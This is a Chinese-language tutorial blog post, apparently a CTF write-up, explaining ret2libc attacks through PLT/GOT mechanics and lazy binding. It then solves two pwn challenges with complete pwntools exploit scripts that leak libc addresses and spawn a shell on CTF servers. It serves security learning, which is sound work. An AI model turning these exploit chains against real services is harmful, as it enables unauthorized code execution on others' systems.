ret2libc

ret2libc的原理是利用栈溢出返回到动态链接库进行攻击

原理

ret2libc 这种攻击方式主要针对动态链接编译的程序,因为正常情况下无法在程序中找到像system()execve()这种系统级函数。如果程序是动态链接生成的,在程序运行时会调用libc.so(程序被装载时,动态链接器会将程序所有所需的动态链接库加载至进程空间,libc.so就是其中最基本的一个),libc.so 是 Linux 下 C语言库中的运行库glibc的动态链接版,并且libc.so中包含了大量的可以利用的函数,包括 system()execve()等系统级函数,还包括了/bin/sh字符串,我们可以通过这些函数在内存中的地址覆盖掉返回地址来获得当前进程的控制权。

如此就只剩下两个问题:

  1. 在内存中找到sysytem()这种函数的地址;
  2. 在内存中找到"/bin/sh"这个字符串的地址。

动态链接

动态链接是指在程序装载时,通过动态链接器将程序所需的所有动态链接库装载到进程空间中,并在程序运行时将它们链接在一起形成一个完整程序的过程。动态链接的主要目的是为了避免静态链接带来的内存和磁盘空间浪费,并支持模块化开发。

静态链接的缺点:

  • 资源浪费:每个程序都将所有需要的库代码直接编译进程序中,导致内存和磁盘空间的浪费。
  • 重编译问题:如果某个库发生了变化,所有使用该库的程序都需要重新编译,增加了维护成本。

动态链接的优点:

  • 节省资源:多个程序可以共享同一个动态链接库,减少了内存和磁盘空间的消耗。
  • 模块化开发:支持模块化开发,不同模块可以由不同的开发者或团队开发,库的更新只需替换动态库文件,而无需重新编译整个程序。

通过file命令可以查看程序是动态链接还是静态链接

  • 动态链接:

dynamically(动态),表明了程序为静态链接。

在这里插入图片描述

  • 静态链接:

statically(静态),表明了程序为静态链接。

在这里插入图片描述

PLT&GOT

Linux 下的动态链接是通过 PLT 表和 GOT 表实现的。

PLT

  • PLT 是一个用于函数调用的表,它的每个条目对应一个函数。PLT的主要作用是处理动态链接库中的函数调用。
  • 当程序第一次调用一个动态链接库时,实际上调用的是 PLT 中的一个“跳板”,该跳板会将控制权转移到 GOT 表中记录的实际地址。

通过objdump工具观察程序 PLT 表:

在这里插入图片描述

GOT

  • GOT 是一个数据表,用于存储动态库函数的地址。
  • 在程序执行时,GOT 表的条目会被 PLT 填充,以便后续的函数调用可以直接跳转到正确的地址。

通过 GDB 观察 GOT 表:
在这里插入图片描述

在这里插入图片描述

延迟绑定

延迟绑定指的是只有在程序实际调用到某个 libc 函数时,才会利用 PLT 进行地址解析,从而更新 GOT 表中的函数地址。换句话说,若某个函数尚未被调用,那么 GOT 表中的地址将不会是其实际地址。

这种情况下,如果需要泄漏 libc 地址,必须使用已调用过的函数来进行泄露。

我们通过gdb调试一个程序来观察一下延迟绑定。

调用前

程序没有调用puts函数前puts函数的地址和其它函数的地址都是一样的,都是默认的占位值。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

调用后

调用过一次puts函数后可以看到puts函数的 got 表地址发生了变化,因为它已经进行了重定位。

在这里插入图片描述

PLT 和 GOT 的工作流程

下面我们通过大佬的图来理解一下。

  1. 第一次函数调用:
    • 当程序第一次调用libc中的函数时,控制权首先会跳转到 PLT 中对应的函数入口。
    • PLT 中的对应函数是一个指向 GOT 表的间接跳转,这个跳转会将程序转移到 GOT 表对应地址。
  2. 跳转到 GOT 表:
    • PLT 中的函数会转到 GOT 表中的相应位置,这个位置保存了函数的实际地址。
  3. 重定位
    • 在第一次调用函数时,GOT 表是一个占位值,是 PLT 表跳转指令的下一条指令地址。
    • 程序执行push命令将参数入栈,然后跳转到公共 PLT 表。
    • 执行pushl命令将参数入栈,然后跳转到 GOT 表的第三项,它是一个重定位的函数。
  4. PLT 更新 GOT 表:
    • 重定位函数(通常是动态链接器的一部分)会被调用,更新 GOT 表中的函数地址为实际地址。
  5. 返回并执行:
    • 一旦 GOT 表中被更新为正确的地址,程序控制会返回到 PLT 的入口处,这时 PLT 可以直接跳转到正确的函数地址。

img

注意:这里 PLT 表的第一项没有给符号名,自动改成了离他最近的一项。

之后我们如果要对同一函数再次调用将直接通过更新后的 GOT 表条目跳转到正确的地址,从而提高效率。

img

ret2libc的几种情况

ret2libc 攻击通常有以下几种情况:

  1. 程序自身没有 system 函数和 /bin/sh 字符串,但提供了 libc.so 文件。
  2. 程序自身没有 system 函数和 /bin/sh 字符串,也没有提供 libc.so 文件。

针对这些情况,常见的解题思路如下:

  1. 利用栈溢出和puts函数泄露GOT表中libc函数的地址。
  2. 根据泄露的地址,利用最低的 12 位确定 libc 版本(即使程序有 ASLR 保护,最低 12 位通常不会变化)。
  3. 使用识别出的 libc 版本计算 system 函数和 /bin/sh 字符串在内存中的实际地址。

32位

[SWPUCTF 2023 秋季新生赛]ezlibc

拿到附件后发现多了一个libc-2.31.so文件,这就是libc库文件。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

查保护

发现程序为32位,并且没有栈溢出(canary)和地址随机化保护(PIE)。

在这里插入图片描述

分析程序

优先运行程序,发现程序输出一串字符串之后进行了一次输入,之后再输出了一串字符串。

在这里插入图片描述

ida 打开分析程序

在这里插入图片描述

发现main调用了一个 dofunc 函数,进入查看

在这里插入图片描述

发现了输入函数read这就是那个一次输入,而write函数输出到标准输出(标识符1)就是输出。

我们发现输入read函数的输入限制长度过大,而接收变量只有12个字节所以必然产生了溢出。

我们通过pwndbg来测量溢出长度。

首先通过cyclic命令构造一串字符串,参数为字符串指定长度,cyclic命令用于构造特意构造的字符串。

在不指定参数的情况下cyclic命令默认构造100个字符长度的字符串。

在这里插入图片描述

之后选中复制这串字符串,然后让程序运行起来。
在这里插入图片描述

在就是前面的一次输入,这时候将复制的字符串粘贴输入。

程序报错地址无效,这是因为我们的字符串覆盖掉了返回地址。

这个无效的地址,就是我们通过cyclic命令构造的字符串其中覆盖掉返回地址的那部分。

在这里插入图片描述

我们可以通过cyclic -l加上这个报错字符串来测量缓冲区到返回地址的长度。
在这里插入图片描述

可以看到,显示缓冲区到返回地址的长度为20。

而输入长度限制0x100字节,所以很明显程序存在栈溢出,而且溢出字节数很大。

利用思路

我们可以通过在程序输入前已经调用过的write函数来泄露 libc 函数 got 表地址

然后通过接收 got 表地址,减去 libc 文件对应函数偏移来计算 libc 基地址。

然后计算sytem函数和/bin/sh字符串的地址。

内存实际函数地址 = 基地址 + 偏移地址

之后再通过栈溢出来进行 ret2libc 攻击。

因为 libc 库一般都有 PIE 保护,所以我们根据符号表获取到的函数地址只是偏移地址。

exp

#!/usr/bin/python3
from pwn import *

io=remote("node4.anna.nssctf.cn",28913)
elf=ELF("./ezlibc")
#指定libc库文件
libc=ELF("./libc-2.31.so")
context.arch="i386"

off=20
main=elf.sym.main
puts_plt=elf.plt.write
puts_got=elf.got.write

#返回指向puts函数
#第一次栈溢出设置返回地址为 main 函数以进行第二次栈溢出
payload=b'a'*off+p32(puts_plt)+p32(main)

#push函数参数

payload+=p32(1)#第一个参数为输出

payload+=p32(puts_got)#第二个参数为输出内容

payload+=p32(8)#第三个参数为输出长度

io.send(payload)
io.recvuntil(b'byebye')

#接收泄露的got表地址
write=u32(io.recv(4))

#我们可以通过符号表来直接得到libc中函数的偏移
base=write-libc.sym.write

sys=libc.sym.system+base

#通过search方法搜索字符串,next用于获取搜索结果的第一个匹配项
sh=base+next(libc.search(b"/bin/sh\x00"))

#根据计算函数结果构造payload
pay=b'a'*off+p32(sys)+p32(0)+p32(sh)
io.send(pay)
io.interactive()

64位

[CISCN 2019东北]PWN2

查保护

发现程序为64位,并且没有 canary 保护和 PIE 保护。

在这里插入图片描述

分析程序

首先运行程序,发现存在菜单选项,并且根据选项进行输入。

在这里插入图片描述

ida 打开分析

在这里插入图片描述

程序最上面输出了一个图标,之后输出了欢迎信息。

进入begin函数查看内容,发现这就是菜单信息函数。

在这里插入图片描述

程序根据输入的序号执行不同的选项。

进入encrypt函数查看,发现危险函数 gets,判断存在溢出。

在这里插入图片描述

查看ida字符串窗口,没有发现system函数和/bin/sh字符串,所以要进行ret2libc攻击。

在这里插入图片描述

利用思路

由于 64 位程序优先通过寄存器传参所以我们先要搜索程序的 gadget。

然后通过 gadget 构造 payload 来进行地址泄露。

首先发送序号选择第一个选项到达溢出函数,之后发送第一次 payload 拿到 puts 函数的 got 地址。

根据 got 地址计算 libc 基址,然后通过 libc 文件偏移计算system地址和/bin/sh字符串地址。

由于我们没有 libc 文件所以需要根据泄露的地址进行搜索,这里我们通过一个 python 库 LibcSearcher 来进行搜索。

由于存在同样的函数地址的libc版本比较多,所以我们需要一个一个的去尝试。

通过输入序号选择相应版本的动态链接库。

在这里插入图片描述

亦或者我们可以通过在线的网站进行搜索,根据函数和泄露地址的后三位进行搜索。

同样可以看到搜索出了很多版本,我们也需要一个一个尝试。

在这里插入图片描述

exp

from pwn import *
from LibcSearcher import *

io=process("./[CISCN 2019东北]PWN2")
#io=remote("node5.anna.nssctf.cn",23824)
elf=ELF("./[CISCN 2019东北]PWN2")
context(log_level="debug",arch="amd64")

main=0x4009a0
rbx_rbp=0x0000000000400aec
rdi=0x0000000000400c83
rsi_r15=0x0000000000400c81
ret=0x00000000004006b9
off=0x58

payload=b'a'*off+p64(rdi)+p64(elf.got["puts"])+p64(elf.plt.puts)+p64(elf.sym["main"])
io.recvuntil("Input your choice!\n")
io.sendline(b"1")
io.recvuntil("Input your Plaintext to be encrypted\n")
io.sendline(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success("puts_addr:",hex(puts_addr))

#根据泄露的函数地址搜索libc版本
libc=LibcSearcher("puts",puts_addr)

#libc.dump表示dump函数的偏移地址
libc_base=puts_addr-libc.dump("puts")
#str_bin_sh表示/bin/sh字符串
sh=libc_base+libc.dump("str_bin_sh")
sys=libc_base+libc.dump("system")

pay=b'a'*0x58+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
io.recvuntil(b"Input your choice!\n")
io.sendline(b"1")
io.recvuntil(b"Input your Plaintext to be encrypted\n")
io.sendline(pay)

io.interactive()

后言

参考链接:PWN入门(1-3-6-4)-基本ROP-ret2libc实战3(无system函数,无/bin/sh) (yuque.com)
参考链接:Basic-ROP (yuque.com)>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值